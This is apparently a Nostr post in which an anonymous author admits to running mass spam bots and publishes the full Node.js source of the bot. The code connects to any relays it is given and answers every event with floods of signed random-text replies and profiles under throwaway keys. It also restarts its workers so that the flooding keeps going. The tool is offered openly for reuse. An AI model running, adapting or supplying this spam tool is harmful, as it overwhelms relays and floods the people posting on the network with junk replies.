What is Nostr?
Hi.

I am the one who did the mass spam bots.

I am no longer touching this account & no longer telling you who exactly i am. All remains a mystery.

You may also check:
- note1ydazp4s0k2c8q5swzm336frttzcdq6atkpvm7uuzmt866qdtzgtqngnr6q

SpamBot Source Code:
// Save the following as index.js

// Licensed under Public Domain.

// Before running the following, Ensure that you've installed ws and nostr-tools:
// ~/nostrspam $ npm install ws nostr-tools

// Usage: node index.js wss://relay.example1.com wss://relay.example2.com ....

const relays = process.argv.slice(2);
const filter = {} // If needed.

if (!process.env.RELAY_URL && !relays.length) {
console.log("Usage: node index.js [relay-addresses]");
process.exit(1);
}

if (!process.env.RELAY_URL) {
console.log("Relays:", relays.join(", "));

const cluster = require('cluster');
for (RELAY_URL of relays) {
cluster.fork({ RELAY_URL });
}

cluster.on('exit', (worker, code, signal) => {
console.log(`Worker ${worker.process.pid} died. Forking another one....`);
cluster.fork({ RELAY_URL: worker.process.env.RELAY_URL });
});

return;
}

const WebSocket = require('ws');
const crypto = require('crypto');
const { validateEvent, verifySignature, generatePrivateKey, getPublicKey, getEventHash, getSignature } = require('nostr-tools');

const randStr = _ => crypto.randomBytes(_).toString("base64url");
function spam(tags = [], c) {
const privkey = generatePrivateKey();
const pubkey = getPublicKey(privkey);

let profile = {
created_at: Math.floor(Date.now() / 1000),
kind: 0,
pubkey,
content: JSON.stringify({
about: randStr(300),
display_name: randStr(20),
name: randStr(20)
}),
tags: []
}

let event = {
created_at: Math.floor(Date.now() / 1000),
kind: 1,
pubkey,
content: randStr(300),
tags
}

profile.id = getEventHash(profile);
profile.sig = getSignature(profile, privkey);

event.id = getEventHash(event);
event.sig = getSignature(event, privkey);

if (!validateEvent(event) || !verifySignature(event) || !validateEvent(profile) || !verifySignature(profile)) return console.log("invalid");

return [profile, event];
}

function newrelay(addr, eose = false) {
const relay = new WebSocket(addr);

relay.addr = addr;
console.log("connecting", addr)
relay.on('open', _ => {
relay.send(`["REQ", "relayevent", ${JSON.stringify(filter)}]`);
console.log("ESTABLISHED", addr);
});

relay.on('message', data => {
try {
data = JSON.parse(data);
} catch (error) {
return console.error(error);
}

if (data[0] === "OK") return console.log(addr, data.join(" "));
if (data[0] !== "EVENT") return;
const ev = data[2];

for (sendev of spam([["e", ev.id],["p", ev.pubkey]], ev.content)) {
relay.send(JSON.stringify(
["EVENT",
sendev
]
));
}

for (sendev of spam([["e", ev.id]], ev.content)) {
relay.send(JSON.stringify(
["EVENT",
sendev
]
));
}

for (sendev of spam()) {
relay.send(JSON.stringify(
["EVENT",
sendev
]
));
}

console.log(addr, ev.pubkey, ev.id);
});

relay.on('error', _ => console.error(relay.addr, _));
relay.on('close', _ => {
for (i in ['open', 'message', 'error', 'close']) {
relay.removeAllListeners(i);
}

newrelay(addr);
});
}

newrelay(process.env.RELAY_URL);
Public Key
npub1x0rg2evrkhx4jv49kvumsufc52mtwhur3pshvqezsnfnnncs2nashxcerr
Profile Code
nprofile1qqsr8359vkpmtn2ex2jmxwdcwyu29d4ht7pcsctkqv3gf5eeeug9f7c9u2kg2
Author Public Key
npub1x0rg2evrkhx4jv49kvumsufc52mtwhur3pshvqezsnfnnncs2nashxcerr